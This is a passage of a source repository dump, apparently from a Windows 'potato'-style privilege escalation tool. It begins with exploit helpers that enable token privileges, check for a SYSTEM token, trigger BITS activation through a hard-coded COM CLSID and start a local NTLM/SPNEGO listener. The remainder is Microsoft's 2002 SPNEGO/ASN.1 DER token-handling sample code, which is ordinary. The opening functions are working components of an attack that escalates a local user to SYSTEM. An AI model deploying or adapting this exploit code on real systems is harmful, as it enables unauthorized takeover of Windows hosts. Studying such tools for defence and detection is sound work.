569 | printf("\nCannot convert SPNEGO NegTokenTarg token to binary data\n");
570 | free(*generatedToken);
571 | *generatedToken = NULL;
572 | return false;
573 | }
574 | }
575 | printf("\nCannot convert SPNEGO NegTokenTarg token to binary data\n");
576 | return false;
577 | }
578 |
579 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
580 | {
581 | TOKEN_PRIVILEGES tp;
582 | LUID luid;
583 |
584 | if (!LookupPrivilegeValue(NULL, priv, &luid))
585 | {
586 | printf("Priv Lookup FALSE\n");
587 | return FALSE;
588 | }
589 |
590 | tp.PrivilegeCount = 1;
591 | tp.Privileges[0].Luid = luid;
592 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
593 | if (!AdjustTokenPrivileges(
594 | hToken,
595 | FALSE,
596 | &tp,
597 | sizeof(TOKEN_PRIVILEGES),
598 | (PTOKEN_PRIVILEGES)NULL,
599 | (PDWORD)NULL))
600 | {
601 | printf("Priv Adjust FALSE\n");
602 | return FALSE;
603 | }
604 |
605 | return TRUE;
606 | }
607 |
608 | int IsTokenSystem(HANDLE tok)
609 | {
610 | DWORD Size, UserSize, DomainSize;
611 | SID* sid;
612 | SID_NAME_USE SidType;
613 | TCHAR UserName[64], DomainName[64];
614 | TOKEN_USER* User;
615 | Size = 0;
616 | GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
617 | if (!Size)
618 | return FALSE;
619 |
620 | User = (TOKEN_USER*)malloc(Size);
621 | assert(User);
622 | GetTokenInformation(tok, TokenUser, User, Size, &Size);
623 | assert(Size);
624 | Size = GetLengthSid(User->User.Sid);
625 | assert(Size);
626 | sid = (SID*)malloc(Size);
627 | assert(sid);
628 |
629 | CopySid(Size, sid, User->User.Sid);
630 | UserSize = (sizeof UserName / sizeof * UserName) - 1;
631 | DomainSize = (sizeof DomainName / sizeof * DomainName) - 1;
632 | LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
633 | free(sid);
634 |
635 | printf("%S\\%S\n", DomainName, UserName);
636 | if (!_wcsicmp(UserName, L"SYSTEM"))
637 | return 1;
638 |
639 | return 0;
640 | }
641 |
642 | bool isBitsRunning() {
643 | SC_HANDLE hService, hSCManager;
644 | SERVICE_STATUS ServiceStatus;
645 | int status = -1;
646 | bool result = false;
647 | hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS);
648 | if (hSCManager == NULL) {
649 | printf("\nSCM Error. Skipping BITS check ...\nOpenSCManagerA error: %d\n", GetLastError());
650 | return false;
651 | }
652 | hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS);
653 | if (hService == NULL) {
654 | printf("\nSCM Error. Skipping BITS check ...\nOpenServiceA error: %d\n", GetLastError());
655 | return false;
656 | }
657 | status = QueryServiceStatus(hService, &ServiceStatus);
658 | if (status == 0) {
659 | printf("\nSCM Error. Skipping BITS check ...\nQueryServiceStatus error: %d\n", GetLastError());
660 | return false;
661 | }
662 | if (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
663 | result = true;
664 | printf("BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)... \n");
665 | }
666 | else
667 | result = false;
668 | return result;
669 | }
670 |
671 | bool triggerBits(void) {
672 | bool status=false;
673 | HRESULT result = -1;
674 | CLSID clsid;
675 | IUnknown* unknown1 = NULL;
676 | CoInitialize(nullptr);
677 | CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
678 | result = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&unknown1);
679 | if (result == S_OK) {
680 | status = true;
681 | unknown1->Release();
682 | }
683 | else {
684 | printf("CoCreateInstance failed with error 0x%x\n", result);
685 | status = false;
686 | }
687 | CoUninitialize();
688 | return status;
689 | }
690 |
691 | HANDLE startListenerThread(wchar_t* listen_port, LocalNegotiator* negotiator, bool debug) {
692 | HANDLE hThread;
693 | THREAD_PARAMETERS threads_params = {};
694 | threads_params.listen_port = listen_port;
695 | threads_params.negotiator = negotiator;
696 | threads_params.debug = debug;
697 | wprintf(L"\nListening for connection on port %s .... \n", listen_port);
698 | hThread = CreateThread(0, 0, reinterpret_cast(startListener), &threads_params, 0, NULL);
699 | return hThread;
700 | }
--------------------------------------------------------------------------------
/spnegotokenhandler/derparse.c:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 |
14 | /////////////////////////////////////////////////////////////
15 | //
16 | // DERPARSE.C
17 | //
18 | // SPNEGO Token Handler Source File
19 | //
20 | // Contains implementation of ASN.1 DER read/write functions
21 | // as defined in DERPARSE.H.
22 | //
23 | /////////////////////////////////////////////////////////////
24 |
25 | #include
26 | #include
27 | #include
28 | #include "spnego.h"
29 | #include "derparse.h"
30 |
31 | #define __LITTLE_ENDIAN__ 1
32 |
33 | //
34 | // The GSS Mechanism OID enumeration values (SPNEGO_MECH_OID) control which offset in
35 | // the array below, that a mechanism can be found.
36 | //
37 | MECH_OID g_stcMechOIDList[] =
38 | {
39 | {"\x06\x09\x2a\x86\x48\x82\xf7\x12\x01\x02\x02", 11, 9,
40 | spnego_mech_oid_Kerberos_V5_Legacy }, // 1.2.840.48018.1.2.2
41 | {"\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02", 11, 9,
42 | spnego_mech_oid_Kerberos_V5 }, // 1.2.840.113554.1.2.2
43 | {"\x06\x06\x2b\x06\x01\x05\x05\x02", 8, 6,
44 | spnego_mech_oid_Spnego }, // 1.3.6.1.5.5.2
45 | {"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a", 12, 10,
46 | spnego_mech_oid_NTLMSSP }, // 1.3.6.1.4.1.311.2.2.10
47 | {"", 0, 0, spnego_mech_oid_NotUsed } // Placeholder
48 | };
49 |
50 | /////////////////////////////////////////////////////////////////////////////
51 | //
52 | // Function:
53 | // ASNDerGetLength
54 | //
55 | // Parameters:
56 | // [in] pbLengthData - DER Length Data
57 | // [in] nBoundaryLength - Length that value must not exceed.
58 | // [out] pnLength - Filled out with length value
59 | // [out] pnNumLengthBytes - Filled out with number of bytes
60 | // consumed by DER length.
61 | //
62 | // Returns:
63 | // int Success - SPNEGO_E_SUCCESS
64 | // Failure - SPNEGO API Error code
65 | //
66 | // Comments :
67 | // Interprets the data at pbLengthData as a DER length. The length must
68 | // fit within the bounds of nBoundary length. We do not currently
69 | // process lengths that take more than 4 bytes.
70 | //
71 | ////////////////////////////////////////////////////////////////////////////
72 |
73 | int ASNDerGetLength(unsigned char* pbLengthData, long nBoundaryLength, long* pnLength,
74 | long* pnNumLengthBytes)
75 | {
76 | int nReturn = SPNEGO_E_INVALID_LENGTH;
77 | int nNumLengthBytes = 0;
78 |
79 | // First check if the extended length bit is set
80 |
81 | if (*pbLengthData & LEN_XTND)
82 | {
83 | // Lower 7 bits contain the number of trailing bytes that describe the length
84 | nNumLengthBytes = *pbLengthData & LEN_MASK;
85 |
86 | // Check that the number of bytes we are about to read is within our boundary
87 | // constraints
88 |
89 | if (nNumLengthBytes <= nBoundaryLength - 1)
90 | {
91 |
92 | // For now, our handler won't deal with lengths greater than 4 bytes
93 | if (nNumLengthBytes >= 1 && nNumLengthBytes <= 4)
94 | {
95 | // 0 out the initial length
96 | *pnLength = 0L;
97 |
98 | // Bump by 1 byte
99 | pbLengthData++;
100 | #ifdef __LITTLE_ENDIAN__
101 |
102 | // There may be a cleaner way to do this, but for now, this seems to be
103 | // an easy way to do the transformation
104 | switch (nNumLengthBytes)
105 | {
106 | case 1:
107 | {
108 | *(((unsigned char*)pnLength)) = *pbLengthData;
109 | break;
110 | }
111 |
112 | case 2:
113 | {
114 | *(((unsigned char*)pnLength)) = *(pbLengthData + 1);
115 | *(((unsigned char*)pnLength) + 1) = *(pbLengthData);
116 |
117 | break;
118 | }
119 |
120 | case 3:
121 | {
122 | *(((unsigned char*)pnLength)) = *(pbLengthData + 2);
123 | *(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
124 | *(((unsigned char*)pnLength) + 3) = *(pbLengthData);
125 | break;
126 | }
127 |
128 | case 4:
129 | {
130 | *(((unsigned char*)pnLength)) = *(pbLengthData + 3);
131 | *(((unsigned char*)pnLength) + 1) = *(pbLengthData + 2);
132 | *(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
133 | *(((unsigned char*)pnLength) + 3) = *(pbLengthData);
134 | break;
135 | }
136 |
137 | } // SWITCH ( nNumLengthBytes )
138 |
139 | #else
140 | // We are Big-Endian, so the length can be copied in from the source
141 | // as is. Ensure that we adjust for the number of bytes we actually
142 | // copy.
143 |
144 | memcpy(((unsigned char*)pnLength) + (4 - nNumLengthBytes),
145 | pbLengthData, nNumLengthBytes);
146 | #endif
147 |
148 | // Account for the initial length byte
149 | * pnNumLengthBytes = nNumLengthBytes + 1;
150 | nReturn = SPNEGO_E_SUCCESS;
151 |
152 | } // IF Valid Length
153 |
154 | } // IF num bytes to read is within the boundary length
155 |
156 | } // IF xtended length
157 | else
158 | {
159 |
160 | // Extended bit is not set, so the length is in the value and the one
161 | // byte describes the length
162 | *pnLength = *pbLengthData & LEN_MASK;
163 | *pnNumLengthBytes = 1;
164 | nReturn = SPNEGO_E_SUCCESS;
165 |
166 | }
167 |
168 | return nReturn;
169 | }
170 |
171 |
172 | /////////////////////////////////////////////////////////////////////////////
173 | //
174 | // Function:
175 | // ASNDerCheckToken
176 | //
177 | // Parameters:
178 | // [in] pbTokenData - Token Data
179 | // [in] nToken - Token identifier to check for
180 | // [in] nLengthWithToken - Expected token length (with data)
181 | // [in] nBoundaryLength - Length that value must not exceed.
182 | // [out] pnLength - Filled out with data length
183 | // [out] pnTokenLength - Filled out with number of bytes
184 | // consumed by token identifier and length.
185 | //
186 | // Returns:
187 | // int Success - SPNEGO_E_SUCCESS
188 | // Failure - SPNEGO API Error code
189 | //
190 | // Comments :
191 | // Checks the data pointed to by pbTokenData for the specified token
192 | // identifier and the length that immediately follows. If
193 | // nLengthWithToken is > 0, the calculated length must match. The
194 | // length must also not exceed the specified boundary length .
195 | //
196 | ////////////////////////////////////////////////////////////////////////////
197 |
198 | int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
199 | long nLengthWithToken, long nBoundaryLength,
200 | long* pnLength, long* pnTokenLength)
201 | {
202 |
203 | int nReturn = SPNEGO_E_INVALID_LENGTH;
204 | long nNumLengthBytes = 0L;
205 |
206 | // Make sure that we've at least got 2 bytes of room to work with
207 |
208 | if (nBoundaryLength >= 2)
209 | {
210 | // The first byte of the token data MUST match the specified token
211 | if (*pbTokenData == nToken)
212 | {
213 | // Next byte indicates the length
214 | pbTokenData++;
215 |
216 | // Get the length described by the token
217 | if ((nReturn = ASNDerGetLength(pbTokenData, nBoundaryLength, pnLength,
218 | &nNumLengthBytes)) == SPNEGO_E_SUCCESS)
219 | {
220 | // Verify that the length is LESS THAN the boundary length
221 | // (this should prevent us walking out of our buffer)
222 | if ((nBoundaryLength - (nNumLengthBytes + 1) < *pnLength))
223 | {
224 |
225 | nReturn = SPNEGO_E_INVALID_LENGTH;
226 |
227 | }
228 |
229 | // If we were passed a length to check, do so now
230 | if (nLengthWithToken > 0L)
231 | {
232 |
233 | // Check that the expected length matches
234 | if ((nLengthWithToken - (nNumLengthBytes + 1)) != *pnLength)
235 | {
236 |
237 | nReturn = SPNEGO_E_INVALID_LENGTH;
238 |
239 | }
240 |
241 | } // IF need to validate length
242 |
243 | if (SPNEGO_E_SUCCESS == nReturn)
244 | {
245 | *pnTokenLength = nNumLengthBytes + 1;
246 | }
247 |
248 | } // IF ASNDerGetLength
249 |
250 | } // IF token matches
251 | else
252 | {
253 | nReturn = SPNEGO_E_TOKEN_NOT_FOUND;
254 | }
255 |
256 | } // IF Boundary Length is at least 2 bytes
257 |
258 | return nReturn;
259 | }
260 |
261 | /////////////////////////////////////////////////////////////////////////////
262 | //
263 | // Function:
264 | // ASNDerCheckOID
265 | //
266 | // Parameters:
267 | // [in] pbTokenData - Token Data
268 | // [in] nMechOID - OID we are looking for
269 | // [in] nBoundaryLength - Length that value must not exceed.
270 | // [out] pnTokenLength - Filled out with number of bytes
271 | // consumed by token and data.
272 | //
273 | // Returns:
274 | // int Success - SPNEGO_E_SUCCESS
275 | // Failure - SPNEGO API Error code
276 | //
277 | // Comments :
278 | // Checks the data pointed to by pbTokenData for the specified OID.
279 | //
280 | ////////////////////////////////////////////////////////////////////////////
281 |
282 | int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, long nBoundaryLength,
283 | long* pnTokenLength)
284 | {
285 | int nReturn = 0L;
286 | long nLength = 0L;
287 |
288 | // Verify that we have an OID token
289 | if ((nReturn = ASNDerCheckToken(pbTokenData, OID, 0L, nBoundaryLength,
290 | &nLength, pnTokenLength)) == SPNEGO_E_SUCCESS)
291 | {
292 | // Add the data length to the Token Length
293 | *pnTokenLength += nLength;
294 |
295 | // Token Lengths plus the actual length must match the length in our OID list element.
296 | // If it doesn't, we're done
297 | if (*pnTokenLength == g_stcMechOIDList[nMechOID].iLen)
298 | {
299 | // Memcompare the token and the expected field
300 | if (memcmp(pbTokenData, g_stcMechOIDList[nMechOID].ucOid, *pnTokenLength) != 0)
301 | {
302 | nReturn = SPNEGO_E_UNEXPECTED_OID;
303 | }
304 | }
305 | else
306 | {
307 | nReturn = SPNEGO_E_UNEXPECTED_OID;
308 | }
309 |
310 | } // IF OID Token CHecks
311 |
312 | return nReturn;
313 | }
314 |
315 | /////////////////////////////////////////////////////////////////////////////
316 | //
317 | // Function:
318 | // ASNDerCalcNumLengthBytes
319 | //
320 | // Parameters:
321 | // [in] nLength - Length to calculate length bytes for.
322 | //
323 | // Returns:
324 | // int Number of bytes necessary to represent length
325 | //
326 | // Comments :
327 | // Helper function to calculate the number of length bytes necessary to
328 | // represent a length value. For our purposes, a 32-bit value should be
329 | // enough to describea length.
330 | //
331 | ////////////////////////////////////////////////////////////////////////////
332 |
333 | int ASNDerCalcNumLengthBytes(long nLength)
334 | {
335 | if (nLength <= 0x7F)
336 | {
337 | // A single byte will be sufficient for describing this length.
338 | // The byte will simply contain the length
339 | return 1;
340 | }
341 | else if (nLength <= 0xFF)
342 | {
343 | // Two bytes are necessary, one to say how many following bytes
344 | // describe the length, and one to give the length
345 | return 2;
346 | }
347 | else if (nLength <= 0xFFFF)
348 | {
349 | // Three bytes are necessary, one to say how many following bytes
350 | // describe the length, and two to give the length
351 | return 3;
352 | }
353 | else if (nLength <= 0xFFFFFF)
354 | {
355 | // Four bytes are necessary, one to say how many following bytes
356 | // describe the length, and three to give the length
357 | return 4;
358 | }
359 | else
360 | {
361 | // Five bytes are necessary, one to say how many following bytes
362 | // describe the length, and four to give the length
363 | return 5;
364 | }
365 | }
366 |
367 |
368 | /////////////////////////////////////////////////////////////////////////////
369 | //
370 | // Function:
371 | // ASNDerCalcTokenLength
372 | //
373 | // Parameters:
374 | // [in] nLength - Length to calculate length bytes for.
375 | // [in] nDataLength - Actual Data length value.
376 | //
377 | // Returns:
378 | // long Number of bytes necessary to represent a token, length and data
379 | //
380 | // Comments :
381 | // Helper function to calculate a token and value size, based on a
382 | // supplied length value, and any binary data that will need to be
383 | // written out.
384 | //
385 | ////////////////////////////////////////////////////////////////////////////
386 |
387 | long ASNDerCalcTokenLength(long nLength, long nDataLength)
388 | {
389 | // Add a byte to the length size to account for a single byte to
390 | // hold the token type.
391 | long nTotalLength = ASNDerCalcNumLengthBytes(nLength) + 1;
392 |
393 | return nTotalLength + nDataLength;
394 | }
395 |
396 |
397 | /////////////////////////////////////////////////////////////////////////////
398 | //
399 | // Function:
400 | // ASNDerCalcElementLength
401 | //
402 | // Parameters:
403 | // [in] nDataLength - Length of data.
404 | // [out] pnInternalLength - Filled out with length of element
405 | // without sequence info.
406 | //
407 | // Returns:
408 | // long Number of bytes necessary to represent an element
409 | //
410 | // Comments :
411 | // Helper function to calculate an element length. An element consists
412 | // of a sequence token, a type token and then the data.
413 | //
414 | ////////////////////////////////////////////////////////////////////////////
415 |
416 | long ASNDerCalcElementLength(long nDataLength, long* pnInternalLength)
417 | {
418 | // First the type token and the actual data
419 | long nTotalLength = ASNDerCalcTokenLength(nDataLength, nDataLength);
420 |
421 | // Internal length is the length without the element sequence token
422 | if (NULL != pnInternalLength)
423 | {
424 | *pnInternalLength = nTotalLength;
425 | }
426 |
427 | // Next add in the element's sequence token (remember that its
428 | // length is the total length of the type token and data)
429 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
430 |
431 | return nTotalLength;
432 | }
433 |
434 | /////////////////////////////////////////////////////////////////////////////
435 | //
436 | // Function:
437 | // ASNDerCalcMechListLength
438 | //
439 | // Parameters:
440 | // [in] mechoid - Mech OID to put in list.
441 | // [out] pnInternalLength - Filled out with length of element
442 | // without the primary sequence token.
443 | //
444 | // Returns:
445 | // long Number of bytes necessary to represent a mechList
446 | //
447 | // Comments :
448 | // Helper function to calculate a MechList length. A mechlist consists
449 | // of a NegTokenInit sequence token, a sequence token for the MechList
450 | // and finally a list of OIDs. In our case, we only really have one
451 | // OID.
452 | //
453 | ////////////////////////////////////////////////////////////////////////////
454 |
455 | long ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, long* pnInternalLength)
456 | {
457 | // First the OID
458 | long nTotalLength = g_stcMechOIDList[mechoid].iLen;
459 |
460 | // Next add in a sequence token
461 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
462 |
463 | // Internal length is the length without the element sequence token
464 | if (NULL != pnInternalLength)
465 | {
466 | *pnInternalLength = nTotalLength;
467 | }
468 |
469 | // Finally add in the element's sequence token
470 | nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
471 |
472 | return nTotalLength;
473 | }
474 |
475 |
476 | /////////////////////////////////////////////////////////////////////////////
477 | //
478 | // Function:
479 | // ASNDerWriteLength
480 | //
481 | // Parameters:
482 | // [out] pbData - Buffer to write into.
483 | // [in] nLength - Length to write out.
484 | //
485 | // Returns:
486 | // int Number of bytes written out
487 | //
488 | // Comments :
489 | // Helper function to write out a length value following DER rules .
490 | //
491 | ////////////////////////////////////////////////////////////////////////////
492 |
493 | int ASNDerWriteLength(unsigned char* pbData, long nLength)
494 | {
495 | int nNumBytesRequired = ASNDerCalcNumLengthBytes(nLength);
496 | int nNumLengthBytes = nNumBytesRequired - 1;
497 |
498 |
499 | if (nNumBytesRequired > 1)
500 | {
501 |
502 | // Write out the number of bytes following which will be used
503 | *pbData = (unsigned char)(LEN_XTND | nNumLengthBytes);
504 |
505 | // Point to where we'll actually write the length
506 | pbData++;
507 |
508 | #ifdef __LITTLE_ENDIAN__
509 |
510 | // There may be a cleaner way to do this, but for now, this seems to be
511 | // an easy way to do the transformation
512 | switch (nNumLengthBytes)
513 | {
514 | case 1:
515 | {
516 | // Cast the length to a single byte, since we know that it
517 | // is 0x7F or less (or we wouldn't only need a single byte).
518 |
519 | *pbData = (unsigned char)nLength;
520 | break;
521 | }
522 |
523 | case 2:
524 | {
525 | *pbData = *(((unsigned char*)& nLength) + 1);
526 | *(pbData + 1) = *(((unsigned char*)& nLength));
527 | break;
528 | }
529 |
530 | case 3:
531 | {
532 | *pbData = *(((unsigned char*)& nLength) + 3);
533 | *(pbData + 1) = *(((unsigned char*)& nLength) + 2);
534 | *(pbData + 2) = *(((unsigned char*)& nLength));
535 | break;
536 | }
537 |
538 | case 4:
539 | {
540 | *pbData = *(((unsigned char*)& nLength) + 3);
541 | *(pbData + 1) = *(((unsigned char*)& nLength) + 2);
542 | *(pbData + 2) = *(((unsigned char*)& nLength) + 1);
543 | *(pbData + 3) = *(((unsigned char*)& nLength));
544 | break;
545 | }
546 |
547 | } // SWITCH ( nNumLengthBytes )
548 |
549 | #else
550 | // We are Big-Endian, so the length can be copied in from the source
551 | // as is. Ensure that we adjust for the number of bytes we actually
552 | // copy.
553 |
554 | memcpy(pbData,
555 | ((unsigned char*)& nLength) + (4 - nNumLengthBytes), nNumLengthBytes);
556 | #endif
557 |
558 | } // IF > 1 byte for length
559 | else
560 | {
561 | // Cast the length to a single byte, since we know that it
562 | // is 0x7F or less (or we wouldn't only need a single byte).
563 |
564 | *pbData = (unsigned char)nLength;
565 | }
566 |
567 | return nNumBytesRequired;
568 | }
569 |
570 | /////////////////////////////////////////////////////////////////////////////
571 | //
572 | // Function:
573 | // ASNDerWriteToken
574 | //
575 | // Parameters:
576 | // [out] pbData - Buffer to write into.
577 | // [in] ucType - Token Type
578 | // [in] pbTokenValue - Actual Value
579 | // [in] nLength - Length of Data.
580 | //
581 | // Returns:
582 | // int Number of bytes written out
583 | //
584 | // Comments :
585 | // Helper function to write out a token and any associated data. If
586 | // pbTokenValue is non-NULL, then it is written out in addition to the
587 | // token identifier and the length bytes.
588 | //
589 | ////////////////////////////////////////////////////////////////////////////
590 |
591 | int ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
592 | unsigned char* pbTokenValue, long nLength)
593 | {
594 | int nTotalBytesWrittenOut = 0L;
595 | int nNumLengthBytesWritten = 0L;
596 |
597 | // Write out the type
598 | *pbData = ucType;
599 |
600 | // Wrote 1 byte, and move data pointer
601 | nTotalBytesWrittenOut++;
602 | pbData++;
603 |
604 | // Now write out the length and adjust the number of bytes written out
605 | nNumLengthBytesWritten = ASNDerWriteLength(pbData, nLength);
606 |
607 | nTotalBytesWrittenOut += nNumLengthBytesWritten;
608 | pbData += nNumLengthBytesWritten;
609 |
610 | // Write out the token value if we got one. The assumption is that the
611 | // nLength value indicates how many bytes are in pbTokenValue.
612 |
613 | if (NULL != pbTokenValue)
614 | {
615 | memcpy(pbData, pbTokenValue, nLength);
616 | nTotalBytesWrittenOut += nLength;
617 | }
618 |
619 | return nTotalBytesWrittenOut;
620 | }
621 |
622 |
623 | /////////////////////////////////////////////////////////////////////////////
624 | //
625 | // Function:
626 | // ASNDerWriteOID
627 | //
628 | // Parameters:
629 | // [out] pbData - Buffer to write into.
630 | // [in] eMechOID - OID to write out.
631 | //
632 | // Returns:
633 | // int Number of bytes written out
634 | //
635 | // Comments :
636 | // Helper function to write out an OID. For these we have the raw bytes
637 | // listed in a global structure. The caller simply indicates which OID
638 | // should be written and we will splat out the data.
639 | //
640 | ////////////////////////////////////////////////////////////////////////////
641 |
642 | int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID)
643 | {
644 |
645 | memcpy(pbData, g_stcMechOIDList[eMechOID].ucOid, g_stcMechOIDList[eMechOID].iLen);
646 |
647 | return g_stcMechOIDList[eMechOID].iLen;
648 | }
649 |
650 |
651 | /////////////////////////////////////////////////////////////////////////////
652 | //
653 | // Function:
654 | // ASNDerWriteMechList
655 | //
656 | // Parameters:
657 | // [out] pbData - Buffer to write into.
658 | // [in] eMechOID - OID to put in MechList.
659 | //
660 | // Returns:
661 | // int Number of bytes written out
662 | //
663 | // Comments :
664 | // Helper function to write out a MechList. A MechList consists of the
665 | // Init Token Sequence, a sequence token and then the list of OIDs. In
666 | // our case the OID is from a global array of known OIDs.
667 | //
668 | ////////////////////////////////////////////////////////////////////////////
669 |
670 | long ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid)
671 | {
672 | // First get the length
673 | long nInternalLength = 0L;
674 | long nMechListLength = ASNDerCalcMechListLength(mechoid, &nInternalLength);
675 | long nTempLength = 0L;
676 |
677 | nTempLength = ASNDerWriteToken(pbData, SPNEGO_NEGINIT_ELEMENT_MECHTYPES,
678 | NULL, nInternalLength);
679 |
680 | // Adjust the data pointer
681 | pbData += nTempLength;
682 |
683 | // Now write the Sequence token and the OID (the OID is a BLOB in the global
684 | // structure.
685 |
686 | nTempLength = ASNDerWriteToken(pbData, SPNEGO_CONSTRUCTED_SEQUENCE,
687 | g_stcMechOIDList[mechoid].ucOid,
688 | g_stcMechOIDList[mechoid].iLen);
689 |
690 | return nMechListLength;
691 | }
692 |
693 |
694 | /////////////////////////////////////////////////////////////////////////////
695 | //
696 | // Function:
697 | // ASNDerWriteElement
698 | //
699 | // Parameters:
700 | // [out] pbData - Buffer to write into.
701 | // [in] ucElementSequence - Sequence Token
702 | // [in] ucType - Token Type
703 | // [in] pbTokenValue - Actual Value
704 | // [in] nLength - Length of Data.
705 | //
706 | // Returns:
707 | // int Number of bytes written out
708 | //
709 | // Comments :
710 | // Helper function to write out a SPNEGO Token element. An element
711 | // consists of a sequence token, a type token and the associated data.
712 | //
713 | ////////////////////////////////////////////////////////////////////////////
714 |
715 | int ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
716 | unsigned char ucType, unsigned char* pbTokenValue, long nLength)
717 | {
718 | // First get the length
719 | long nInternalLength = 0L;
720 | long nElementLength = ASNDerCalcElementLength(nLength, &nInternalLength);
721 | long nTempLength = 0L;
722 |
723 | // Write out the sequence byte and the length of the type and data
724 | nTempLength = ASNDerWriteToken(pbData, ucElementSequence, NULL, nInternalLength);
725 |
726 | // Adjust the data pointer
727 | pbData += nTempLength;
728 |
729 | // Now write the type and the data.
730 | nTempLength = ASNDerWriteToken(pbData, ucType, pbTokenValue, nLength);
731 |
732 | return nElementLength;
733 | }
734 |
--------------------------------------------------------------------------------
/spnegotokenhandler/spnego.c:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 | /////////////////////////////////////////////////////////////
14 | //
15 | // SPNEGO.C
16 | //
17 | // SPNEGO Token Handler Source File
18 | //
19 | // Contains implementation of SPNEGO Token Handling API
20 | // as defined in SPNEGO.H.
21 | //
22 | /////////////////////////////////////////////////////////////
23 |
24 | #include
25 | #include
26 | #include
27 | #include "spnego.h"
28 | #include "derparse.h"
29 | #include "spnegoparse.h"
30 |
31 | //
32 | // Defined in DERPARSE.C
33 | //
34 |
35 | extern MECH_OID g_stcMechOIDList[];
36 |
37 |
38 | /**********************************************************************/
39 | /** **/
40 | /** **/
41 | /** **/
42 | /** **/
43 | /** SPNEGO Token Handler API implementation **/
44 | /** **/
45 | /** **/
46 | /** **/
47 | /** **/
48 | /**********************************************************************/
49 |
50 |
51 | /////////////////////////////////////////////////////////////////////////////
52 | //
53 | // Function:
54 | // spnegoInitFromBinary
55 | //
56 | // Parameters:
57 | // [in] pbTokenData - Binary Token Data
58 | // [in] ulLength - Length of binary Token Data
59 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
60 | //
61 | // Returns:
62 | // int Success - SPNEGO_E_SUCCESS
63 | // Failure - SPNEGO API Error code
64 | //
65 | // Comments :
66 | // Initializes a SPNEGO_TOKEN_HANDLE from the supplied
67 | // binary data. Data is copied locally. Returned data structure
68 | // must be freed by calling spnegoFreeData().
69 | //
70 | ////////////////////////////////////////////////////////////////////////////
71 |
72 | int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned long ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
73 | {
74 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
75 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken;
76 |
77 | // Pass off to a handler function that allows tighter control over how the token structure
78 | // is handled. In this case, we want the token data copied and we want the associated buffer
79 | // freed.
80 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYDATA,
81 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, pbTokenData,
82 | ulLength, ppSpnegoToken);
83 |
84 | return nReturn;
85 | }
86 |
87 | /////////////////////////////////////////////////////////////////////////////
88 | //
89 | // Function:
90 | // spnegoCreateNegTokenInit
91 | //
92 | // Parameters:
93 | // [in] MechType - MechType to specify in MechTypeList element
94 | // [in] ucContextFlags - Context Flags element value
95 | // [in] pbMechToken - Pointer to binary MechToken Data
96 | // [in] ulMechTokenLen - Length of MechToken Data
97 | // [in] pbMechListMIC - Pointer to binary MechListMIC Data
98 | // [in] ulMechListMICLen - Length of MechListMIC Data
99 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
100 | //
101 | // Returns:
102 | // int Success - SPNEGO_E_SUCCESS
103 | // Failure - SPNEGO API Error code
104 | //
105 | // Comments :
106 | // Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenInit type
107 | // from the supplied parameters. ucContextFlags may be 0 or must be
108 | // a valid flag combination. MechToken data can be NULL - if not, it
109 | // must correspond to the MechType. MechListMIC can also be NULL.
110 | // Returned data structure must be freed by calling spnegoFreeData().
111 | //
112 | ////////////////////////////////////////////////////////////////////////////
113 |
114 | int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
115 | unsigned char ucContextFlags, unsigned char* pbMechToken,
116 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
